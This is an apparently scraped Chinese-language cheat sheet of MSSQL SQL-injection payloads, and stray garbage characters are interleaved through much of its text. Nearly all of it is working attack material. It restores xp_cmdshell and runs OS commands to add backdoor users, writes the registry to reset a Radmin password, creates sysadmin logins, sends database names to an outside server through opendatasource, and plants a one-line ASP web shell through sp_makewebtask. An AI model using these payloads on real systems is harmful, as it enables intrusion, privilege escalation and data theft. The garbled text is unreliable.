阿D常用的一些注入命令
( j- a3 y2 U9 `+ \1 \//看看是什么权限的
; Q' N1 i* \6 n$ q6 qand 1=(Select IS_MEMBER('db_owner'))' l8 k! t! w2 Y
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
6 |: G- t* k" H* H% O/ h# P, C4 V; p) Z1 n' K C% r
//检测是否有读取某数据库的权限$ H$ I0 B' ~3 u: B+ C6 e; G- h
and 1= (Select HAS_DBACCESS('master'))9 q9 b. v* F2 P9 O. R
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --# K/ Q, f9 b I: X4 p
2 ]5 V/ K7 f" a, i
2 ^* V+ b6 G4 n& ^% d: l" V. n数字类型
( z, b) W2 O6 K9 g2 vand char(124)%2Buser%2Bchar(124)=09 `" D7 N+ R* A1 o% q
* `8 m; }# v, u' c% y
字符类型
' {; H( Y# q$ \ ` D7 G# ~' and char(124)%2Buser%2Bchar(124)=0 and ''='
) a; |7 Q5 D3 W1 j3 G7 R8 X) n
8 r3 N8 ?% r' X) j. [6 u搜索类型
0 F2 ^* j+ u" J. e4 q) m. x' and char(124)%2Buser%2Bchar(124)=0 and '%'='
& o, a- D: @ u( h1 Y' q: a8 K3 f8 W" q! r2 l; U {
爆用户名
2 a, g, H* g; O+ z5 tand user>0
- g3 [1 K( F5 U* Z0 y/ Y( ^* ]' and user>0 and ''='
7 r+ h: d3 ]' Y- b4 m) ?* [
# u0 M5 j% N% H检测是否为SA权限
$ g0 C7 L% E7 h8 z" I, K3 L! d: r4 m7 O% Vand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ V8 y9 ], A+ s$ c- h# W& E& GAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --4 _4 t8 m+ I7 n- g0 s" L/ m
( e1 N6 M, [; ~2 O4 y
检测是不是MSSQL数据库
1 m" ^/ Q5 Y. w# Land exists (select * from sysobjects);--
$ P* M! e: j8 O1 M+ o1 b, l' {3 y$ ~0 j/ z" `; \6 Y
检测是否支持多行+ X* q! z' u7 Y# ~# K R
;declare @d int;-- 0 h+ x! E4 o& y# i: Q& @. f9 ]7 q
! G( u, @+ P1 r* B& _" g+ p- a& }恢复 xp_cmdshell
' k1 k; K5 C$ U& l: B;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--8 R3 S" P o: ]; K9 Z" T
B Q& V. | k$ X: `" k C
, n- [1 y! Q e+ }! T% aselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') , B' g+ D' S6 U' }
' s1 q7 H8 x- Z) A0 u6 _
//-----------------------3 _* J& @' U9 R1 z- u% X
// 执行命令
" T& F' X6 M7 w//-----------------------
) B2 Y) W' E4 ~* v. s' F9 L首先开启沙盘模式:; e- n$ i; W6 _5 O ]6 O- [" t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( R: _% |, C5 K9 X% B* a) D& a/ Y: Y0 _' L6 L" {# S4 g
然后利用jet.oledb执行系统命令
^6 T3 K# j4 k: ^) G4 aselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
4 q5 h0 f' U, O O4 Z% o$ p8 ]; l" g; [' O- z
执行命令& b- h8 b) f/ {9 p6 d
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--- |+ y% v1 D# v: ]& [
/ B4 H% R7 N9 D" t" P8 V
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'% B5 P4 w* z0 f. o8 M& ~
. a2 u$ y1 b, |判断xp_cmdshell扩展存储过程是否存在:
, y7 G1 X$ U/ d0 M) Thttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'), g8 S# V& [2 B- m$ s4 K
; L K5 @0 w! x" F8 @8 a: [写注册表+ E9 c" H# `* \. j- I/ O
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1/ T e9 M: z3 X: i" N
% m% T& \" `) k" |
REG_SZ& ^) q" ^) |' Z
3 D% U4 o( ]* B. H) a2 m读注册表
% U$ d2 M i3 f- p3 s1 m4 Rexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
, |1 ?" g# j* \1 ^ d4 ^: P1 {* M+ U1 s8 Q" F2 A$ p! H
读取目录内容
, M# o" X: ~4 s0 T: l( h, y6 u7 r! Hexec master..xp_dirtree 'c:\winnt\system32\',1,1" G6 ]# C5 |3 K/ M4 N! T3 a
) j! M0 x) }/ q; |5 o! o$ {
- E; F# B. b' t' i/ @. E7 \
数据库备份
8 G% C$ e* Z9 V8 H0 d/ Mbackup database pubs to disk = 'c:\123.bak'
' ]! ]9 s/ N3 H! \% W% J" T9 `
5 O! e$ k9 T1 T" f* e//爆出长度
7 g' S: U$ g3 ]; _* UAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
" T2 S- I( M: \, c
4 s0 ?, o! K# E/ u% ^" n1 m( i4 [' {: A) _+ _8 }
( m4 t+ l2 C3 z- T
更改sa口令方法:用sql综合利用工具连接后,执行命令:- A) Y/ Y+ b: X
exec sp_password NULL,'新密码','sa'
8 k- Y8 K+ G/ f) w7 v0 v& g
; F: \6 @! D: V$ J添加和删除一个SA权限的用户test:3 \ g9 t. S* f, k% x( M: d/ G
exec master.dbo.sp_addlogin test,ptlove
x, _. M R, e/ G0 M0 ^" Qexec master.dbo.sp_addsrvrolemember test,sysadmin$ F3 g7 y; q p9 k& x5 ~- ?
! P% @, b. [& C* w7 U删除扩展存储过过程xp_cmdshell的语句:
4 _ V, y* y& K9 p% p: W% W1 \exec sp_dropextendedproc 'xp_cmdshell'2 O& @/ ]( h& _, A8 z2 R1 n: h
; O) t9 ?. k2 ^% ~/ ~% I添加扩展存储过过程
& c& X1 I" C) q+ [EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' $ k, ~$ E% _# E- m
GRANT exec On xp_proxiedadata TO public
, U B. {3 l& w( |, }" z! @; k
/ X" ?5 _7 @% i0 c7 J; v3 Y8 S3 ^5 m& `8 F8 B/ S, n
停掉或激活某个服务。
# I0 l6 U! Y) i% M, {$ c |% Y! D; h; Q- c" H
exec master..xp_servicecontrol 'stop','schedule': E( n5 d# h3 f' X
exec master..xp_servicecontrol 'start','schedule'7 ]( Z2 X% K0 x
$ e' a1 F$ |+ k' {# tdbo.xp_subdirs: q) t( {9 P; N0 K8 }/ a- S( B
) v6 y4 E& W: h; D
只列某个目录下的子目录。5 R$ D, T% N' N9 U
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp') c' Z @" g2 w# k# V& [
/ b5 o/ z( f3 M7 e. K' _* ~) sdbo.xp_makecab+ \$ H) h6 R8 {9 k( P& ]" |
( b- _' K3 q8 m# I将目标多个档案压缩到某个目标档案之内。& D6 X8 |0 o0 R: {! ]
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
; p& d5 Z, q( ?# I8 l3 v9 u3 M5 _3 j9 i P5 s' M0 ^
dbo.xp_makecab
& q0 }0 Y- [( n( O$ ^, h6 e'c:\test.cab','mszip',1,
1 `" Z. s5 \& I2 H1 F1 J% ?& s'C:\Inetpub\wwwroot\SQLInject\login.asp',
9 O6 U/ j% O, y2 q: Z. g6 v'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
; ~+ Z( c' J) l- m0 C
5 {+ K1 P" ^$ _4 T" N+ y! R2 Jxp_terminate_process
5 L6 r7 B' m {1 P O# h# i% a9 {& C) v: d2 G2 ~$ Y9 k* |
停掉某个执行中的程序,但赋予的参数是 Process ID。
% ]) m" z* d6 ~利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
0 ]# E) t' x6 z
# l( r* ~$ x4 f5 R% m# Zxp_terminate_process 24848 v" X! \. G; _) c
# ^; Y3 G# |: m3 W
xp_unpackcab' A: Z4 m" }( O3 ]
8 e0 D3 H/ V- W- |& Y9 R
解开压缩档。
, S* z, K3 R8 ?' v/ h9 ~: l( d5 |/ ?2 Q, z$ ` P+ ^
xp_unpackcab 'c:\test.cab','c:\temp',1, S0 C7 I) A6 d1 Z( a
; j9 ^! s1 ~* _/ G/ j- n4 V- R" s$ ? u7 s7 y% j2 L U- D) h
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
6 H# H, K" J. A# ?6 M/ N
- y. G4 H# T" I8 r _* hcreate database lcx;" ^8 O% u+ B* `1 X. ]8 T
Create TABLE ku(name nvarchar(256) null);
& H* Z% q7 i8 CCreate TABLE biao(id int NULL,name nvarchar(256) null);; w, A/ q6 N' W& {: P) @. M
, X+ ]8 j: |% F& r3 e//得到数据库名
9 |7 ?( u. N7 c+ U$ ~/ z7 ]insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
. z: W; X" l" G$ y! @) D8 V; U8 p: c# A* ]6 ~4 E" h* r
( B; I1 n9 ]) l& l) V' _# u. A//在Master中创建表,看看权限怎样* f$ h) P) _" \ P$ ~9 `
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--3 }4 K& E, v, j- c/ w
3 n/ q+ ]! b% E7 k, S! |4 Y
用 sp_makewebtask直接在web目录里写入一句话马:
# m( S# t- n0 K1 m9 _+ G! Shttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
) i7 j [5 K% n& q# k% s. g6 f; H
- [9 T7 @6 i. K& c0 C//更新表内容
8 K5 I, _5 y& S% Q+ Y/ ^( P# E1 [4 BUpdate films SET kind = 'Dramatic' Where id = 123
2 m& `, f' v* @. R8 b. o
; M8 h. x. G) E" k7 T+ w7 p//删除内容4 _1 \- B J- M3 E
delete from table_name where Stockid = 3 |